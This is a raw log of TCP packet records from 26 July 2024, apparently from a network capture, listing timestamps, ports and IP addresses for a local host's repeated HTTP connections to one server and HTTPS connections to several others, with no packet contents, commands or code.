Jul 26, 2024 13:49:54.489641905 CEST	80	59113	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:55.260298014 CEST	80	59113	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:55.260410070 CEST	59113	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:55.261048079 CEST	59113	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:55.266060114 CEST	80	59113	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:55.511348963 CEST	80	59113	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:55.511425972 CEST	59113	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:55.617141008 CEST	59113	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:55.617319107 CEST	59114	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:55.622283936 CEST	80	59114	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:55.622389078 CEST	59114	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:55.622551918 CEST	59114	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:55.622615099 CEST	80	59113	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:55.622678041 CEST	59113	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:55.627618074 CEST	80	59114	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:56.373199940 CEST	80	59114	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:56.373507023 CEST	59114	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:56.373975039 CEST	59114	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:56.378906012 CEST	80	59114	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:56.622817993 CEST	80	59114	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:56.635565042 CEST	59114	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:56.731220007 CEST	59116	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:56.735570908 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:56.736854076 CEST	80	59116	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:56.740525007 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:56.747658014 CEST	59116	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:56.747752905 CEST	59116	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:56.748696089 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.748750925 CEST	443	59117	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:56.749166012 CEST	59118	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749176025 CEST	443	59118	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:56.749330044 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749383926 CEST	443	59119	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:56.749418020 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749456882 CEST	443	59120	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:56.749509096 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749527931 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749545097 CEST	59118	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749612093 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749619961 CEST	443	59117	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:56.749764919 CEST	59118	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749768972 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749778032 CEST	443	59118	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:56.749836922 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749857903 CEST	443	59119	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:56.749908924 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:56.749926090 CEST	443	59120	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:56.753310919 CEST	80	59116	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:56.754702091 CEST	59114	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:56.755553961 CEST	59121	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:56.760997057 CEST	80	59121	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:56.761082888 CEST	59121	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:56.761187077 CEST	59121	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:56.761493921 CEST	80	59114	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:56.761558056 CEST	59114	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:56.766899109 CEST	80	59121	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:56.843259096 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:56.898487091 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.045593023 CEST	59116	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.256344080 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.266381025 CEST	59123	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:57.266432047 CEST	443	59123	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:57.267029047 CEST	443	59117	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.268050909 CEST	59123	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:57.268420935 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.269035101 CEST	80	59116	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:57.270117044 CEST	443	59119	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.272437096 CEST	443	59120	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.275221109 CEST	443	59118	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.275372982 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.275386095 CEST	443	59117	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.275451899 CEST	59123	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:57.275464058 CEST	443	59123	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:57.275846004 CEST	443	59117	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.276503086 CEST	443	59119	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.276524067 CEST	443	59120	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.282776117 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.282835960 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.283025026 CEST	443	59117	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.283406973 CEST	59116	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.283438921 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.283452034 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.283934116 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.283946991 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.283960104 CEST	59117	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.283960104 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.284149885 CEST	59118	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.286721945 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.286734104 CEST	443	59119	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.287184000 CEST	443	59119	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.290662050 CEST	59118	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.290698051 CEST	443	59118	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.291014910 CEST	443	59118	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.293294907 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.293306112 CEST	443	59120	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.294192076 CEST	443	59120	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.303833008 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.303893089 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.303966045 CEST	59118	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.304028988 CEST	59118	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.304115057 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.304156065 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.304214001 CEST	443	59118	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.304233074 CEST	443	59119	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.304536104 CEST	443	59120	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:57.306099892 CEST	59118	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.306112051 CEST	59119	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.306117058 CEST	59120	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:57.508497000 CEST	80	59116	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:57.508974075 CEST	59116	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.509922028 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:57.509937048 CEST	80	59116	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:57.510097980 CEST	59116	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.510332108 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.511130095 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.511528015 CEST	59124	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.511595964 CEST	443	59124	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:57.511874914 CEST	59125	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.511910915 CEST	443	59125	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:57.512290955 CEST	59124	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.512355089 CEST	59125	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.513933897 CEST	59124	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.513967991 CEST	443	59124	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:57.515007019 CEST	59125	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.515027046 CEST	443	59125	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:57.515984058 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:57.532892942 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.538392067 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:57.551642895 CEST	80	59121	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:57.551786900 CEST	59121	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:57.552470922 CEST	59121	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:57.557244062 CEST	80	59121	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:57.630044937 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:57.685225964 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:57.807667971 CEST	80	59121	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:57.808376074 CEST	59121	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:57.926006079 CEST	59121	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:57.926305056 CEST	59129	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:57.931298971 CEST	80	59121	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:57.931354046 CEST	59121	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:57.931427956 CEST	80	59129	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:57.931513071 CEST	59129	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:57.931663990 CEST	59129	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:57.936479092 CEST	80	59129	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:57.960227966 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:57.976985931 CEST	443	59123	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:57.977062941 CEST	59123	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:57.980155945 CEST	59123	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:57.980168104 CEST	443	59123	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:57.980506897 CEST	443	59123	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:57.982494116 CEST	59123	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:57.982613087 CEST	59123	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:57.982690096 CEST	443	59123	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:57.982770920 CEST	59123	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:57.983745098 CEST	443	59124	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:57.983954906 CEST	59124	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.989167929 CEST	59124	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.989226103 CEST	443	59124	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:57.989257097 CEST	59124	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.989473104 CEST	443	59124	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:57.989655972 CEST	59124	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:57.993853092 CEST	443	59125	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:57.994036913 CEST	59125	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.001580000 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:58.005568981 CEST	59125	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.005588055 CEST	443	59125	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:58.005652905 CEST	59125	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.005845070 CEST	443	59125	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:58.007908106 CEST	59125	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.176229000 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:58.181215048 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:58.270482063 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:58.324628115 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:58.411397934 CEST	59130	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.411437988 CEST	443	59130	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:58.412060976 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:58.416111946 CEST	59130	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.416929960 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:58.417351961 CEST	59130	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.417366982 CEST	443	59130	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:58.508258104 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:58.556459904 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:58.692226887 CEST	80	59129	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:58.704107046 CEST	59129	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:58.765686989 CEST	59129	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:58.770596027 CEST	80	59129	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:58.888618946 CEST	443	59130	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:58.888698101 CEST	59130	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.893748045 CEST	59130	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.893759012 CEST	443	59130	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:58.893883944 CEST	59130	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.893903017 CEST	443	59130	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:58.894275904 CEST	59131	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.894305944 CEST	59130	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.894376040 CEST	443	59131	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:58.894855022 CEST	59131	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.896253109 CEST	59131	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:58.896295071 CEST	443	59131	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:59.015244007 CEST	80	59129	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:59.016011953 CEST	59129	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:59.126197100 CEST	59129	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:59.126470089 CEST	59132	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:59.131268024 CEST	80	59132	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:59.131341934 CEST	59132	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:59.131526947 CEST	80	59129	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:59.131530046 CEST	59132	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:59.131588936 CEST	59129	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:59.136389971 CEST	80	59132	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:59.407201052 CEST	443	59131	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:59.407319069 CEST	59131	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:59.411870003 CEST	59131	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:59.411900997 CEST	443	59131	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:59.411983013 CEST	59131	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:59.412054062 CEST	443	59131	34.117.188.166	192.168.2.6
Jul 26, 2024 13:49:59.412177086 CEST	59131	443	192.168.2.6	34.117.188.166
Jul 26, 2024 13:49:59.818300009 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:59.818399906 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:59.823666096 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:59.823681116 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:59.880218029 CEST	80	59132	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:59.882368088 CEST	59132	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:59.883205891 CEST	59132	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:59.888124943 CEST	80	59132	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:59.913686037 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:59.915860891 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:59.967704058 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:59.967992067 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:00.123920918 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:00.128860950 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:00.142345905 CEST	80	59132	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:00.152770996 CEST	59132	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:00.218720913 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:00.268523932 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:00.270729065 CEST	59132	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:00.270992041 CEST	59133	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:00.275959015 CEST	80	59133	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:00.276034117 CEST	59133	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:00.276140928 CEST	59133	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:00.281187057 CEST	80	59133	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:00.303097963 CEST	80	59132	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:00.303141117 CEST	59132	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.145242929 CEST	80	59133	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:01.145754099 CEST	59133	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.146820068 CEST	59133	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.151741982 CEST	80	59133	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:01.455810070 CEST	80	59133	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:01.457604885 CEST	59133	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.572124004 CEST	59133	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.572407007 CEST	59134	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.577200890 CEST	80	59134	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:01.577485085 CEST	59134	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.577749968 CEST	59134	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.577904940 CEST	80	59133	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:01.578083038 CEST	59133	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:01.582510948 CEST	80	59134	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:02.344425917 CEST	80	59134	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:02.344501972 CEST	59134	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:02.345288992 CEST	59134	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:02.350210905 CEST	80	59134	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:02.599025965 CEST	80	59134	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:02.599092007 CEST	59134	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:02.704932928 CEST	59134	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:02.705297947 CEST	59135	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:02.710259914 CEST	80	59135	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:02.710365057 CEST	59135	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:02.710489988 CEST	59135	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:02.711023092 CEST	80	59134	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:02.711087942 CEST	59134	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:02.715382099 CEST	80	59135	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:03.461991072 CEST	80	59135	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:03.462060928 CEST	59135	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:03.462826014 CEST	59135	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:03.468494892 CEST	80	59135	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:03.762732983 CEST	80	59135	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:03.762806892 CEST	59135	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:03.878560066 CEST	59135	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:03.878884077 CEST	59136	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:03.884521008 CEST	80	59136	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:03.884682894 CEST	80	59135	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:03.885453939 CEST	59135	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:03.885483980 CEST	59136	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:03.885647058 CEST	59136	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:03.892898083 CEST	80	59136	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:04.647484064 CEST	80	59136	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:04.647598028 CEST	59136	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:04.650794029 CEST	59136	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:04.651092052 CEST	59137	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:04.656281948 CEST	80	59136	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:04.656295061 CEST	80	59137	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:04.656363010 CEST	59136	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:04.656392097 CEST	59137	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:04.656524897 CEST	59137	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:04.661530018 CEST	80	59137	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:05.414283037 CEST	80	59137	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:05.414395094 CEST	59137	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:05.521806002 CEST	59137	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:05.522397995 CEST	59138	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:05.527282953 CEST	80	59138	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:05.527381897 CEST	59138	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:05.528580904 CEST	80	59137	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:05.528676987 CEST	59137	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:05.534004927 CEST	59138	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:05.534419060 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:50:05.539026022 CEST	80	59138	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:05.540226936 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:50:05.540297985 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:50:06.318578005 CEST	80	59138	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:06.318682909 CEST	59138	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:06.322808981 CEST	59138	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:06.323128939 CEST	59139	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:06.332195997 CEST	80	59138	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:06.332530022 CEST	80	59139	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:06.333033085 CEST	59138	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:06.333107948 CEST	59139	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:06.333324909 CEST	59139	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:06.341850996 CEST	80	59139	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:07.100128889 CEST	80	59139	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:07.100241899 CEST	59139	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:07.206320047 CEST	59139	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:07.206482887 CEST	59140	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:07.211834908 CEST	80	59140	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:07.211941004 CEST	59140	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:07.212065935 CEST	59140	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:07.212296009 CEST	80	59139	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:07.212373018 CEST	59139	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:07.217571020 CEST	80	59140	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:08.999587059 CEST	80	59140	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:08.999836922 CEST	59140	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:09.000607967 CEST	80	59140	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:09.000688076 CEST	59140	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:09.001090050 CEST	80	59140	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:09.001159906 CEST	59140	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:09.002269030 CEST	59140	80	192.168.2.6	185.215.113.19
